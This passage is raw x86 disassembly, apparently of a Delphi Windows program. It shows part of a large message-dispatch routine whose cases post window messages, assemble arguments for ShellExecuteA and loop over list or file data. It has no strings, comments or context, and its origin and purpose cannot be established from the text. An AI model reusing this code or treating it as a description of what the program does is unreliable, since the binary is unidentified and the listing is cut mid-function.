call fcn.0046c32c
lea eax, [ebp - 0xe8]
call fcn.004db6bc
lea edx, [ebp - 0xec]
lea eax, [ebp - 0xf8]
call fcn.0046c32c
lea edx, [ebp - 0xf0]
lea eax, [ebp - 0xf8]
call fcn.0046c32c
lea edx, [ebp - 0xf4]
lea eax, [ebp - 0xf8]
call fcn.0046c32c
lea eax, [ebp - 0xae0]
mov edx, dword [ebp - 0xf0]
call fcn.00404e90
mov eax, dword [ebp - 0xae0]
push eax
lea eax, [ebp - 0xae4]
mov edx, dword [ebp - 0xf4]
call fcn.00404e90
mov eax, dword [ebp - 0xae4]
push eax
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 0x14]
push eax
mov eax, dword [ebp - 0x2c]
movzx eax, byte [eax + 0xc]
push eax
lea eax, [ebp - 0xae8]
mov edx, dword [ebp - 0xec]
call fcn.00404e90
mov ecx, dword [ebp - 0xae8]
mov eax, dword [ebp - 0x2c]
mov edx, dword [eax + 0x10]
mov eax, dword [ebp - 0xe8]
call fcn.004e8b9c
mov dword [ebp - 0x50], eax
mov eax, dword [ebp - 0x2c]
cmp byte [eax + 0xc], 0xfc
jne 0x4e6f1e
push 0
push 0
push 0
mov ecx, dword [ebp - 0x50]
mov edx, 0xc1
mov eax, dword [ebp - 0x28]
call fcn.004ddc88
jmp case.0x4e0bea.10
push 0
push 0
push 0
mov ecx, dword [ebp - 0x50]
mov edx, 0xbe
mov eax, dword [ebp - 0x28]
call fcn.004ddc88
jmp case.0x4e0bea.10
lea edx, [ebp - 0xe4]
mov eax, dword [ebp - 0x2c]
add eax, 0x20
call fcn.00409fe8
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 0x14]
push eax
push 0
mov eax, dword [ebp - 0x2c]
mov ecx, dword [eax + 0x10]
and ecx, 0xffff
mov eax, dword [ebp - 0x2c]
mov edx, dword [eax + 0x10]
shr edx, 0x10
mov eax, dword [ebp - 0xe4]
call fcn.004e85fc
jmp case.0x4e0bea.10
lea edx, [ebp - 0xe4]
mov eax, dword [ebp - 0x2c]
add eax, 0x20
call fcn.00409fe8
lea eax, [ebp - 0xe4]
call fcn.004db6bc
mov eax, dword [ebp - 0xe4]
call fcn.0046dddc
test al, al
je case.0x4e0bea.10
lea eax, [ebp - 0xaec]
mov edx, dword [0x5418e8]
mov edx, dword [edx]
call fcn.00404e90
mov eax, dword [ebp - 0xaec]
xor ecx, ecx
mov edx, 0x4e8490
call fcn.0046dc3c
mov dl, 1
mov eax, dword [ebp - 0xe4]
call fcn.004ef464
jmp case.0x4e0bea.10
cmp dword [0x54a6d8], 0xb438
ja case.0x4e0bea.10
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 0x10]
mov dword [0x54a8e0], eax
mov eax, dword [ebp - 0x2c]
cmp dword [eax + 0x1c], 0
je 0x4e7038
push 0
mov eax, dword [ebp - 0x2c]
mov ecx, dword [eax + 4]
sub ecx, 0x20
mov eax, dword [ebp - 0x2c]
lea edx, [eax + 0x20]
mov eax, dword [ebp - 0x28]
mov eax, dword [eax + 0x2f4]
call fcn.00469d98
mov eax, dword [ebp - 0x28]
mov eax, dword [eax + 0x2f4]
mov eax, dword [eax + 0x30]
mov eax, dword [eax + 4]
mov dword [ebp - 0xf8], eax
jmp 0x4e7044
mov eax, dword [ebp - 0x2c]
add eax, 0x20
mov dword [ebp - 0xf8], eax
cmp dword [0x540b7c], 0
jne 0x4e705e
mov dl, 1
mov eax, dword [0x414c40]
call fcn.0040377c
mov dword [0x540b7c], eax
lea eax, [ebp - 0xaf0]
mov edx, dword [ebp - 0xf8]
call fcn.004047a8
mov edx, dword [ebp - 0xaf0]
mov eax, dword [0x540b7c]
mov ecx, dword [eax]
call dword [ecx + 0x2c]
lea ecx, [ebp - 0xaf8]
xor edx, edx
mov eax, dword [0x540b7c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0xaf8]
lea edx, [ebp - 0xaf4]
call fcn.00409ad8
mov edx, dword [ebp - 0xaf4]
mov eax, 0x54a8e4
call fcn.0040460c
mov eax, 0x54a8e4
call fcn.004db6bc
xor edx, edx
mov eax, dword [0x540b7c]
mov ecx, dword [eax]
call dword [ecx + 0x48]
push 0
push 0
push 0x52b
mov eax, dword [ebp - 0x28]
call fcn.0045deb8
push eax
call sub.user32.dll_PostMessageA
jmp case.0x4e0bea.10
mov byte [0x54a8f4], 0
jmp case.0x4e0bea.10
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 0x10]
mov dword [0x54a8f8], eax
jmp case.0x4e0bea.10
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 0x10]
call fcn.004030b8
mov dword [ebp - 0x50], eax
mov eax, dword [ebp - 0x50]
inc eax
call fcn.004d938c
mov eax, 3
call fcn.004030b8
mov dword [ebp - 0x50], eax
lea edx, [ebp - 0xe4]
mov eax, dword [ebp - 0x50]
call fcn.004df60c
cmp dword [ebp - 0xe4], 0
jne 0x4e714b
lea eax, [ebp - 0xe4]
mov edx, 0x4e84a0
call fcn.00404650
push 0
push 0
lea eax, [ebp - 0xe4]
call fcn.00404adc
push eax
xor ecx, ecx
mov edx, 0xc0
mov eax, dword [ebp - 0x28]
call fcn.004ddc88
jmp case.0x4e0bea.10
call fcn.0040b1b0
add esp, 0xfffffff8
fstp qword [esp]
wait
lea edx, [ebp - 0xe4]
mov eax, 0x4e84b0
call fcn.0040bddc
push 0
push 0
lea eax, [ebp - 0xe4]
call fcn.00404adc
push eax
xor ecx, ecx
mov edx, 0xc4
mov eax, dword [ebp - 0x28]
call fcn.004ddc88
jmp case.0x4e0bea.10
mov dl, 1
mov eax, dword [0x414c40]
call fcn.0040377c
mov esi, eax
lea eax, [ebp - 0xafc]
mov edx, dword [ebp - 0x2c]
add edx, 0x20
mov ecx, 0x400
call fcn.00404820
mov edx, dword [ebp - 0xafc]
mov eax, esi
mov ecx, dword [eax]
call dword [ecx + 0x2c]
lea ecx, [ebp - 0xe8]
xor edx, edx
mov eax, esi
mov ebx, dword [eax]
call dword [ebx + 0xc]
lea ecx, [ebp - 0xec]
mov edx, 1
mov eax, esi
mov ebx, dword [eax]
call dword [ebx + 0xc]
lea ecx, [ebp - 0xf0]
mov edx, 2
mov eax, esi
mov ebx, dword [eax]
call dword [ebx + 0xc]
lea ecx, [ebp - 0xf4]
mov edx, 3
mov eax, esi
mov ebx, dword [eax]
call dword [ebx + 0xc]
lea eax, [ebp - 0xe8]
call fcn.004db6bc
lea eax, [ebp - 0xb08]
mov edx, dword [ebp - 0xe8]
call fcn.00404e90
mov eax, dword [ebp - 0xb08]
lea ecx, [ebp - 0xb04]
lea edx, [ebp - 0xfc]
call fcn.0046eb78
mov edx, dword [ebp - 0xb04]
lea eax, [ebp - 0xb00]
call fcn.00404854
mov edx, dword [ebp - 0xb00]
mov eax, esi
mov ecx, dword [eax]
call dword [ecx + 0x2c]
cmp dword [ebp - 0xfc], 0xfffffffd
jne 0x4e72a3
mov eax, dword [ebp - 0x2c]
test byte [eax + 0x10], 1
jne 0x4e72a3
push 0
push 0
push 0
or ecx, 0xffffffff
mov edx, 0xc2
mov eax, dword [ebp - 0x28]
call fcn.004ddc88
jmp 0x4e737d
cmp dword [ebp - 0xfc], 0xfffffffe
jne 0x4e72c9
push 0
push 0
push 0
mov ecx, 0xfffffffe
mov edx, 0xc2
mov eax, dword [ebp - 0x28]
call fcn.004ddc88
jmp 0x4e737d
mov eax, dword [ebp - 0xf0]
push eax
mov eax, dword [ebp - 0xf4]
push eax
mov eax, dword [ebp - 0x2c]
xor edx, edx
mov dl, byte [eax + 0xc]
mov ecx, dword [ebp - 0xec]
mov eax, esi
call fcn.004e0574
mov eax, dword [ebp - 0xe8]
call fcn.004f929c
lea edx, [ebp - 0xb10]
mov eax, esi
mov ecx, dword [eax]
call dword [ecx + 0x1c]
mov edx, dword [ebp - 0xb10]
lea eax, [ebp - 0xb0c]
call fcn.00404e90
mov eax, dword [ebp - 0xb0c]
push eax
lea eax, [ebp - 0xb14]
mov edx, dword [ebp - 0xe8]
call fcn.00404e90
mov eax, dword [ebp - 0xb14]
mov edx, dword [ebp - 0xfc]
pop ecx
call fcn.0046ec54
mov dword [ebp - 0xfc], eax
cmp dword [ebp - 0xfc], 0
jl 0x4e7365
push 0
push 0
push 0
xor ecx, ecx
mov edx, 0xc2
mov eax, dword [ebp - 0x28]
call fcn.004ddc88
jmp 0x4e737d
push 0
push 0
push 0
mov ecx, 0xfffffffd
mov edx, 0xc2
mov eax, dword [ebp - 0x28]
call fcn.004ddc88
mov eax, esi
call fcn.004037ac
jmp case.0x4e0bea.10
mov dword [0x54a66c], 1
jmp case.0x4e0bea.10
xor eax, eax
call fcn.004f9670
jmp case.0x4e0bea.103
call fcn.004f9654
jmp case.0x4e0bea.103
lea edx, [ebp - 0xe4]
mov eax, dword [ebp - 0x2c]
add eax, 0x20
call fcn.00409fe8
lea eax, [ebp - 0xb18]
mov edx, dword [ebp - 0xe4]
call fcn.00404e90
mov eax, dword [ebp - 0xb18]
lea ecx, [ebp - 0xb4]
lea edx, [ebp - 0xfc]
call fcn.0046eb78
cmp dword [ebp - 0xfc], 0
jl case.0x4e0bea.10
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 0x10]
cmp eax, dword [ebp - 0xfc]
je case.0x4e0bea.10
lea eax, [ebp - 0xb1c]
mov edx, dword [ebp - 0xe4]
call fcn.00404e90
mov eax, dword [ebp - 0xb1c]
mov edx, dword [ebp - 0x2c]
mov edx, dword [edx + 0x10]
mov ecx, dword [ebp - 0xb4]
call fcn.0046ec54
jmp case.0x4e0bea.10
cmp dword [0x540474], 0
je 0x4e7445
mov dword [ebp - 0x50], 1
jmp 0x4e744a
xor eax, eax
mov dword [ebp - 0x50], eax
push 0
push 0
push 0
mov ecx, dword [ebp - 0x50]
mov edx, 0xc3
mov eax, dword [ebp - 0x28]
call fcn.004ddc88
jmp case.0x4e0bea.10
lea edx, [ebp - 0xe4]
mov eax, dword [ebp - 0x2c]
add eax, 0x20
call fcn.00409fe8
mov edx, dword [ebp - 0xe4]
mov eax, 0x4e833c
call fcn.00404bc8
mov dword [ebp - 0x50], eax
lea eax, [ebp - 0xb20]
push eax
mov ecx, dword [ebp - 0x50]
dec ecx
mov edx, 1
mov eax, dword [ebp - 0xe4]
call fcn.00404ae4
mov eax, dword [ebp - 0xb20]
push eax
lea eax, [ebp - 0xb24]
mov edx, dword [0x5418e8]
mov edx, dword [edx]
call fcn.00404e90
mov eax, dword [ebp - 0xb24]
mov edx, 0x4e84cc
pop ecx
call fcn.0046dc3c
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 0x10]
cdq
push edx
push eax
lea eax, [ebp - 0xb28]
mov edx, dword [0x5418e8]
mov edx, dword [edx]
call fcn.00404e90
mov eax, dword [ebp - 0xb28]
mov edx, 0x4e84dc
call fcn.0046d9ec
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 0x14]
cdq
push edx
push eax
lea eax, [ebp - 0xb2c]
mov edx, dword [0x5418e8]
mov edx, dword [edx]
call fcn.00404e90
mov eax, dword [ebp - 0xb2c]
mov edx, 0x4e84f0
call fcn.0046d9ec
lea eax, [ebp - 0xb30]
push eax
mov edx, dword [ebp - 0x50]
inc edx
mov ecx, 0x400
mov eax, dword [ebp - 0xe4]
call fcn.00404ae4
mov eax, dword [ebp - 0xb30]
push eax
lea eax, [ebp - 0xb34]
mov edx, dword [0x5418e8]
mov edx, dword [edx]
call fcn.00404e90
mov eax, dword [ebp - 0xb34]
mov edx, 0x4e8504
pop ecx
call fcn.0046dc3c
jmp case.0x4e0bea.10
lea edx, [ebp - 0xb38]
mov eax, dword [ebp - 0x2c]
add eax, 0x20
call fcn.00409fe8
mov edx, dword [ebp - 0xb38]
mov eax, 0x54a890
call fcn.0040460c
mov eax, dword [ebp - 0x2c]
mov edx, dword [ebp - 0x50]
mov eax, dword [eax + edx*4 + 0x10]
mov dword [0x540ad0], eax
mov eax, dword [ebp - 0x28]
mov eax, dword [eax + 0x320]
call fcn.0047cc48
cmp dword [0x540ad0], 0
jle case.0x4e0bea.10
mov edx, dword [0x54a890]
mov eax, 0x4e8518
call fcn.00404bc8
test eax, eax
jle 0x4e7607
mov eax, dword [ebp - 0x28]
mov eax, dword [eax + 0x320]
xor edx, edx
call fcn.0047ca18
mov eax, dword [ebp - 0x28]
mov eax, dword [eax + 0x320]
mov edx, dword [0x54a890]
call fcn.0047cb14
mov eax, dword [ebp - 0x28]
mov eax, dword [eax + 0x320]
xor edx, edx
call fcn.0047ca94
jmp 0x4e763b
mov eax, dword [ebp - 0x28]
mov eax, dword [eax + 0x320]
mov dl, 1
call fcn.0047ca18
mov eax, dword [ebp - 0x28]
mov eax, dword [eax + 0x320]
xor edx, edx
call fcn.0047cb14
mov eax, dword [ebp - 0x28]
mov eax, dword [eax + 0x320]
mov edx, dword [0x54a890]
call fcn.0047ca94
mov eax, dword [ebp - 0x28]
mov eax, dword [eax + 0x320]
mov edx, dword [0x540ad0]
call fcn.0047cb94
mov eax, dword [ebp - 0x28]
mov eax, dword [eax + 0x320]
call fcn.0047cc40
jmp case.0x4e0bea.10
mov eax, dword [ebp - 0x2c]
mov al, byte [eax + 0x10]
mov byte [0x540478], al
jmp case.0x4e0bea.10
inc byte [0x540478]
mov eax, dword [0x540318]
call fcn.00473100
movsx edx, byte [0x540478]
cmp eax, edx
jg case.0x4e0bea.10
mov byte [0x540478], 0xff
jmp case.0x4e0bea.10
mov eax, dword [0x541cc4]
mov eax, dword [eax]
xor edx, edx
call fcn.004b9250
jmp case.0x4e0bea.10
mov eax, dword [0x54a8a8]
mov edx, dword [eax]
call dword [edx + 0x14]
test eax, eax
jle case.0x4e0bea.10
mov eax, dword [0x5416bc]
cmp dword [eax], 0
jne 0x4e76d1
call fcn.004d3e74
mov eax, dword [0x5415b4]
cmp dword [eax], 0
jne 0x4e76e0
call fcn.004d5194
mov eax, dword [0x5417b8]
cmp dword [eax], 0
jne 0x4e76ef
call fcn.004d58f0
movsx eax, word [0x54a89c]
mov dword [0x54a8a4], eax
mov ax, word [0x54a89c]
cmp ax, word [0x54a89e]
jge 0x4e7725
movsx eax, word [0x54a89e]
movsx edx, word [0x54a89c]
sub eax, edx
call fcn.004030b8
add dword [0x54a8a4], eax
mov dword [0x54a8ac], 0xffffffff
mov byte [0x540ad8], 1
jmp case.0x4e0bea.112
mov byte [0x540ad8], 0
jmp case.0x4e0bea.112
mov eax, dword [ebp - 0x2c]
mov ax, word [eax + 0x10]
mov word [0x54a89c], ax
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 0x10]
shr eax, 0x10
mov word [0x54a89e], ax
mov eax, dword [ebp - 0x2c]
mov al, byte [eax + 0x14]
and al, 1
mov byte [0x54a8a0], al
lea edx, [ebp - 0xb3c]
mov eax, dword [ebp - 0x2c]
add eax, 0x20
call fcn.00409fe8
mov edx, dword [ebp - 0xb3c]
mov eax, dword [0x54a8a8]
mov ecx, dword [eax]
call dword [ecx + 0x2c]
mov eax, dword [0x54a8a8]
mov edx, dword [eax]
call dword [edx + 0x14]
test eax, eax
jne case.0x4e0bea.10
mov byte [0x540ad8], 0
jmp case.0x4e0bea.10
cmp byte [0x540ad8], 0
je 0x4e77bb
mov dword [ebp - 0x50], 1
jmp 0x4e77c0
xor eax, eax
mov dword [ebp - 0x50], eax
push 0
push 0
push 0
mov ecx, dword [ebp - 0x50]
mov edx, 0xc5
mov eax, dword [ebp - 0x28]
call fcn.004ddc88
jmp case.0x4e0bea.10
lea edx, [ebp - 0xe4]
mov eax, dword [ebp - 0x2c]
add eax, 0x20
call fcn.00409fe8
mov edx, dword [ebp - 0xe4]
mov eax, 0x4e833c
call fcn.00404bc8
mov dword [ebp - 0x50], eax
cmp dword [ebp - 0x50], 1
jle case.0x4e0bea.10
mov ecx, dword [ebp - 0x28]
mov dl, 1
mov eax, dword [0x46a810]
call fcn.0046aa98
mov dword [ebp - 0xd0], eax
mov eax, dword [ebp - 0xd0]
mov edx, dword [ebp - 0x28]
mov dword [eax + 0x54], edx
mov dword [eax + 0x50], 0x4edff4
mov eax, dword [ebp - 0xd0]
mov edx, dword [ebp - 0x28]
mov dword [eax + 0x4c], edx
mov dword [eax + 0x48], 0x4ee240
mov eax, dword [ebp - 0xd0]
mov edx, dword [ebp - 0x28]
mov dword [eax + 0x64], edx
mov dword [eax + 0x60], 0x4ee878
lea eax, [ebp - 0xe8]
push eax
mov ecx, dword [ebp - 0x50]
dec ecx
mov edx, 1
mov eax, dword [ebp - 0xe4]
call fcn.00404ae4
lea eax, [ebp - 0xe8]
call fcn.004db6bc
mov eax, dword [ebp - 0xd0]
add eax, 0x40
mov edx, dword [ebp - 0xe8]
call fcn.0040460c
lea eax, [ebp - 0xb40]
push eax
mov edx, dword [ebp - 0x50]
inc edx
mov ecx, 0x400
mov eax, dword [ebp - 0xe4]
call fcn.00404ae4
mov edx, dword [ebp - 0xb40]
mov eax, dword [ebp - 0xd0]
call fcn.0046aaf4
mov eax, dword [ebp - 0xd0]
mov byte [eax + 0x68], 1
mov eax, dword [ebp - 0xd0]
mov byte [eax + 0x71], 0
mov eax, dword [ebp - 0xd0]
mov dword [eax + 0xc], 7
xor eax, eax
push ebp
push 0x4e7976
push dword fs:[eax]
mov dword fs:[eax], esp
mov dl, 1
mov eax, dword [0x414c40]
call fcn.0040377c
mov dword [0x54a950], eax
mov eax, dword [ebp - 0xd0]
call fcn.0046ab4c
mov eax, dword [0x54a950]
mov edx, dword [eax]
call dword [edx + 0x14]
test eax, eax
jne 0x4e7925
mov edx, 0x4e8524
mov eax, dword [0x54a950]
mov ecx, dword [eax]
call dword [ecx + 0x38]
push 0
push 0
lea edx, [ebp - 0xb44]
mov eax, dword [0x54a950]
mov ecx, dword [eax]
call dword [ecx + 0x1c]
mov eax, dword [ebp - 0xb44]
push eax
push 0
push 0
xor ecx, ecx
mov edx, 0x20
mov eax, dword [ebp - 0x28]
call fcn.004ddaec
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push case.0x4e0bea.10
mov eax, dword [ebp - 0xd0]
call fcn.004037ac
mov eax, dword [0x54a950]
call fcn.004037ac
ret
mov dl, 1
mov eax, dword [0x414c40]
call fcn.0040377c
mov esi, eax
mov dl, 1
mov eax, dword [0x414c40]
call fcn.0040377c
mov dword [ebp - 0x24], eax
lea edx, [ebp - 0xe4]
mov eax, dword [ebp - 0x2c]
add eax, 0x20
call fcn.00409fe8
mov edx, dword [ebp - 0xe4]
mov eax, 0x4e833c
call fcn.00404bc8
mov dword [ebp - 0x50], eax
cmp dword [ebp - 0x50], 0
jle 0x4e7c23
cmp dword [ebp - 0x50], 1
jle 0x4e79eb
lea eax, [ebp - 0xf0]
push eax
mov ecx, dword [ebp - 0x50]
dec ecx
mov edx, 1
mov eax, dword [ebp - 0xe4]
call fcn.00404ae4
jmp 0x4e79f6
lea eax, [ebp - 0xf0]
call fcn.004045b8
lea eax, [ebp - 0xe4]
mov ecx, dword [ebp - 0x50]
mov edx, 1
call fcn.00404b24
mov edx, dword [ebp - 0xe4]
mov eax, 0x4e833c
call fcn.00404bc8
mov dword [ebp - 0x50], eax
lea eax, [ebp - 0xe8]
push eax
mov ecx, dword [ebp - 0x50]
dec ecx
mov edx, 1
mov eax, dword [ebp - 0xe4]
call fcn.00404ae4
lea eax, [ebp - 0xe8]
call fcn.004db6bc
lea eax, [ebp - 0xe8]
call fcn.0046aa2c
lea eax, [ebp - 0xe4]
mov ecx, dword [ebp - 0x50]
mov edx, 1
call fcn.00404b24
mov edx, dword [ebp - 0xe4]
mov eax, 0x4e833c
call fcn.00404bc8
mov dword [ebp - 0x50], eax
lea eax, [ebp - 0xb48]
push eax
mov ecx, dword [ebp - 0x50]
dec ecx
mov edx, 1
mov eax, dword [ebp - 0xe4]
call fcn.00404ae4
mov edx, dword [ebp - 0xb48]
mov eax, dword [ebp - 0x24]
mov ecx, dword [eax]
call dword [ecx + 0x2c]
lea eax, [ebp - 0xb4c]
push eax
mov edx, dword [ebp - 0x50]
inc edx
mov ecx, 0x61a8000
mov eax, dword [ebp - 0xe4]
call fcn.00404ae4
mov edx, dword [ebp - 0xb4c]
mov eax, esi
mov ecx, dword [eax]
call dword [ecx + 0x2c]
mov eax, dword [ebp - 0x24]
mov edx, dword [eax]
call dword [edx + 0x14]
dec eax
test eax, eax
jl 0x4e7b13
inc eax
mov dword [ebp - 0x110], eax
mov dword [ebp - 0x50], 0
lea ecx, [ebp - 0xb50]
mov edx, dword [ebp - 0x50]
mov eax, dword [ebp - 0x24]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0xb50]
mov eax, esi
mov ecx, dword [eax]
call dword [ecx + 0x54]
mov ebx, eax
mov edx, ebx
mov eax, esi
mov ecx, dword [eax]
call dword [ecx + 0x48]
inc dword [ebp - 0x50]
dec dword [ebp - 0x110]
jne 0x4e7adf
mov eax, esi
mov edx, dword [eax]
call dword [edx + 0x14]
dec eax
test eax, eax
jl 0x4e7b6a
inc eax
mov dword [ebp - 0x110], eax
mov dword [ebp - 0x50], 0
lea ecx, [ebp - 0xb58]
mov edx, dword [ebp - 0x50]
mov eax, esi
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov ecx, dword [ebp - 0xb58]
lea eax, [ebp - 0xb54]
mov edx, dword [ebp - 0xe8]
call fcn.004048d8
mov eax, dword [ebp - 0xb54]
call fcn.00409988
inc dword [ebp - 0x50]
dec dword [ebp - 0x110]
jne 0x4e7b2d
cmp dword [ebp - 0xf0], 0
je 0x4e7bc4
lea ecx, [ebp - 0xb60]
xor edx, edx
mov eax, dword [ebp - 0x24]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov ecx, dword [ebp - 0xb60]
lea eax, [ebp - 0xb5c]
mov edx, dword [ebp - 0xe8]
call fcn.004048d8
mov eax, dword [ebp - 0xb5c]
push eax
lea eax, [ebp - 0xb64]
mov ecx, dword [ebp - 0xf0]
mov edx, dword [ebp - 0xe8]
call fcn.004048d8
mov edx, dword [ebp - 0xb64]
pop eax
call fcn.004099a0
mov al, byte [0x4e82b0]
push eax
lea eax, [ebp - 0xe4]
push eax
lea edx, [ebp - 0xb6c]
mov eax, dword [ebp - 0x24]
mov ecx, dword [eax]
call dword [ecx + 0x1c]
mov eax, dword [ebp - 0xb6c]
lea edx, [ebp - 0xb68]
call fcn.0040906c
mov eax, dword [ebp - 0xb68]
mov ecx, 0x4e833c
mov edx, 0x4e8538
call fcn.0040da60
push 0
push 0
mov eax, dword [ebp - 0xe4]
push eax
push 0
push 0
xor ecx, ecx
mov edx, 0x22
mov eax, dword [ebp - 0x28]
call fcn.004ddaec
mov eax, esi
call fcn.004037ac
mov eax, dword [ebp - 0x24]
call fcn.004037ac
jmp case.0x4e0bea.10
cmp dword [0x54a8b0], 0
je case.0x4e0bea.10
lea eax, [ebp - 0xe4]
mov edx, 0x4e8544
call fcn.00404650
lea eax, [ebp - 0xe4]
call fcn.0046e234
lea eax, [ebp - 0xe8]
mov edx, 0x4e856c
call fcn.00404650
mov al, byte [0x4e82b8]
push eax
lea eax, [ebp - 0xb70]
push eax
mov ecx, dword [0x54a8b0]
mov edx, 0x4e85b4
mov eax, dword [ebp - 0xe8]
call fcn.0040da60
mov edx, dword [ebp - 0xb70]
lea eax, [ebp - 0xe8]
call fcn.00404650
mov al, byte [0x4e82b8]
push eax
lea eax, [ebp - 0xb74]
push eax
mov ecx, dword [0x54a8b4]
mov edx, 0x4e85c4
mov eax, dword [ebp - 0xe8]
call fcn.0040da60
mov edx, dword [ebp - 0xb74]
lea eax, [ebp - 0xe8]
call fcn.00404650
mov al, byte [0x4e82b8]
push eax
lea eax, [ebp - 0xb78]
push eax
mov ecx, dword [0x54a8b8]
mov edx, 0x4e85d4
mov eax, dword [ebp - 0xe8]
call fcn.0040da60
mov edx, dword [ebp - 0xb78]
lea eax, [ebp - 0xe8]
call fcn.00404650
mov al, byte [0x4e82b8]
push eax
lea eax, [ebp - 0xb7c]
push eax
mov ecx, 0x4e85e4
mov edx, 0x4e85f4
mov eax, dword [ebp - 0xe8]
call fcn.0040da60
mov edx, dword [ebp - 0xb7c]
lea eax, [ebp - 0xe8]
call fcn.00404650
push 0
push 0x4e82b8
mov eax, dword [ebp - 0xe8]
call fcn.00404a84
push eax
mov eax, dword [ebp - 0xe4]
call fcn.00404a84
push eax
push 0x4e82a0
push 0
call sub.shell32.dll_ShellExecuteA
mov byte [0x540b58], 1
jmp case.0x4e0bea.10
cmp dword [0x54a8b0], 0
je case.0x4e0bea.10
lea eax, [ebp - 0xe4]
mov edx, 0x4e8544
call fcn.00404650
lea eax, [ebp - 0xe4]
call fcn.0046e234
lea eax, [ebp - 0xe8]
mov edx, 0x4e856c
call fcn.00404650
mov al, byte [0x4e82b8]
push eax
lea eax, [ebp - 0xb80]
push eax
mov ecx, dword [0x54a8b0]
mov edx, 0x4e85b4
mov eax, dword [ebp - 0xe8]
call fcn.0040da60
mov edx, dword [ebp - 0xb80]
lea eax, [ebp - 0xe8]
call fcn.00404650
mov al, byte [0x4e82b8]
push eax
lea eax, [ebp - 0xb84]
push eax
mov ecx, dword [0x54a8b4]
mov edx, 0x4e85c4
mov eax, dword [ebp - 0xe8]
call fcn.0040da60
mov edx, dword [ebp - 0xb84]
lea eax, [ebp - 0xe8]
call fcn.00404650
mov al, byte [0x4e82b8]
push eax
lea eax, [ebp - 0xb88]
push eax
mov ecx, dword [0x54a8b8]
mov edx, 0x4e85d4
mov eax, dword [ebp - 0xe8]
call fcn.0040da60
mov edx, dword [ebp - 0xb88]
lea eax, [ebp - 0xe8]
call fcn.00404650
mov al, byte [0x4e82b8]
push eax
lea eax, [ebp - 0xb8c]
push eax
mov ecx, dword [0x54a8bc]
mov edx, 0x4e85f4
mov eax, dword [ebp - 0xe8]
call fcn.0040da60
mov edx, dword [ebp - 0xb8c]
lea eax, [ebp - 0xe8]
call fcn.00404650
push 0
push 0x4e82b8
mov eax, dword [ebp - 0xe8]
call fcn.00404a84
push eax
mov eax, dword [ebp - 0xe4]
call fcn.00404a84
push eax
push 0x4e82a0
push 0
call sub.shell32.dll_ShellExecuteA
mov byte [0x540b58], 0
jmp case.0x4e0bea.10
mov eax, dword [0x540a88]
mov edx, dword [0x540a8c]
cmp edx, dword [0x54033c]
jne 0x4e7ed2
cmp eax, dword [0x540338]
jbe 0x4e7f13
jmp 0x4e7ed4
jle 0x4e7f13
mov eax, dword [0x54a834]
push eax
push 0
push 0
push 0
push 0x3e8
mov eax, dword [0x540a88]
mov edx, dword [0x540a8c]
sub eax, dword [0x540338]
sbb edx, dword [0x54033c]
call fcn.00405968
mov ecx, eax
mov edx, 0xc7
mov eax, dword [ebp - 0x28]
call fcn.004ddc88
jmp case.0x4e0bea.10
mov eax, dword [0x54a834]
push eax
push 0
push 0
xor ecx, ecx
mov edx, 0xc7
mov eax, dword [ebp - 0x28]
call fcn.004ddc88
jmp case.0x4e0bea.10
lea edx, [ebp - 0xe4]
mov eax, dword [ebp - 0x2c]
add eax, 0x20
call fcn.00409fe8
mov eax, dword [ebp - 0xe4]
call fcn.004b5498
xor eax, eax
mov dword [0x540320], eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4e8218
lea eax, [ebp - 0xb8c]
mov edx, 0x16
call fcn.004045dc
lea eax, [ebp - 0xb34]
call fcn.00404cf0
lea eax, [ebp - 0xb30]
call fcn.004045b8
lea eax, [ebp - 0xb2c]
mov edx, 3
call fcn.00404d08
lea eax, [ebp - 0xb20]
call fcn.004045b8
lea eax, [ebp - 0xb1c]
mov edx, 3
call fcn.00404d08
lea eax, [ebp - 0xb10]
call fcn.004045b8
lea eax, [ebp - 0xb0c]
mov edx, 3
call fcn.00404d08
lea eax, [ebp - 0xb00]
mov edx, 5
call fcn.004045dc
lea eax, [ebp - 0xaec]
mov edx, 4
call fcn.00404d08
lea eax, [ebp - 0xadc]
call fcn.004045b8
lea eax, [ebp - 0xad8]
mov edx, 6
call fcn.00404d08
lea eax, [ebp - 0xac0]
call fcn.004045b8
lea eax, [ebp - 0xabc]
mov edx, 3
call fcn.00404d08
lea eax, [ebp - 0xab0]
call fcn.004045b8
lea eax, [ebp - 0xaac]
mov edx, 2
call fcn.00404d08
lea eax, [ebp - 0xaa4]
mov edx, 2
call fcn.004045dc
lea eax, [ebp - 0xa9c]
call fcn.00404cf0
lea eax, [ebp - 0xa98]
call fcn.004045b8
lea eax, [ebp - 0xa94]
call fcn.00404cf0
lea eax, [ebp - 0xa90]
call fcn.004045b8
lea eax, [ebp - 0xa8c]
call fcn.00404cf0
lea eax, [ebp - 0xa88]
mov edx, 0x16
call fcn.004045dc
lea eax, [ebp - 0xa30]
call fcn.00404cf0
lea eax, [ebp - 0xa2c]
mov edx, 6
call fcn.004045dc
lea eax, [ebp - 0xa14]
call fcn.00404cf0
lea eax, [ebp - 0xa10]
mov edx, 5
call fcn.004045dc
lea eax, [ebp - 0x9fc]
mov edx, 0x32
call fcn.004045dc
lea eax, [ebp - 0x934]
mov edx, 2
call fcn.00404d08
lea eax, [ebp - 0x92c]
mov edx, 0xe
call fcn.004045dc
lea eax, [ebp - 0x8f4]
call fcn.00404cf0
lea eax, [ebp - 0x8f0]
mov edx, 3
call fcn.004045dc
lea eax, [ebp - 0x8e4]
call fcn.00404cf0
lea eax, [ebp - 0x8e0]
call fcn.004045b8
lea eax, [ebp - 0x8dc]
call fcn.00404cf0
lea eax, [ebp - 0x8d8]
mov edx, 3
call fcn.004045dc
lea eax, [ebp - 0x8cc]
call fcn.00404cf0
lea eax, [ebp - 0x8c8]
mov edx, 3
